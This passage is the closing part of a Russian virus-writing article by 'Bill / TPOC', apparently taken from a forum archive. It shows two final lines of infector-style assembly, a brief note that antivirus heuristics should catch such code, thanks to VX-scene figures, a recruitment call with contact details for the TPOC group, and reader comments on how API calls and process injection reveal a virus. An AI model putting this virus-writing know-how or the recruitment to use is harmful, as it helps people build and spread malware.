  16. jmp x;например, переход к нормальной точке входа
  17. _ExitProcess dd ?

Защита

            В данной главе приводились методы, которые используют очень много вирусов. Этот код типичен. Эврестик просто должен распознавать что-то подобное.

Благодарности

В этом разделе я хочу выразить благодарности людям, которые помогли мне:

DayDream/TPOC Volodya/wasm.ru – Вы все его знаете, спасибо за поддержку
Aquila/wasm.ru – твои переводы помогли многим, мне в том числе
Svl
/TPOC
Follower
/TPOC
Occas’
Ion– спасибо за интересные идеи
z0mbie/29a– большой respect Тебе
Sars
The Great Zopuh
Slon
NoName

ThePassionOfCode

Продолжается набор в группу TPOC. Если Вы считаете, что в Ваших жилах течет исследовательская кровь, то Вы непременно должны со мной связаться. Все желающие могут сделать это по электронной почте bill_tpoc@mail.ruили по ICQ.- 243091189. У TPOCсайта пока нет, но Вы можете зайти на мой сайт http://vxbill.narod.ru. Там Вы можете узнать последние новости.

© Bill / TPOC

2 46.703
archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532

Комментарии


      1. UbIvItS 20 май 2017
        вызов апишек как раз-таки и палит вирий: слишком частый вызов GetProcAddress уж дюже палевно, а перебор запущенных процессов и запись в них.. хмм.. :)
      2. 2Hard2Forget 9 июл 2020
        Ссылки не работают, и в веб архиве их не найти((. Где можно найти рабочие ссылки?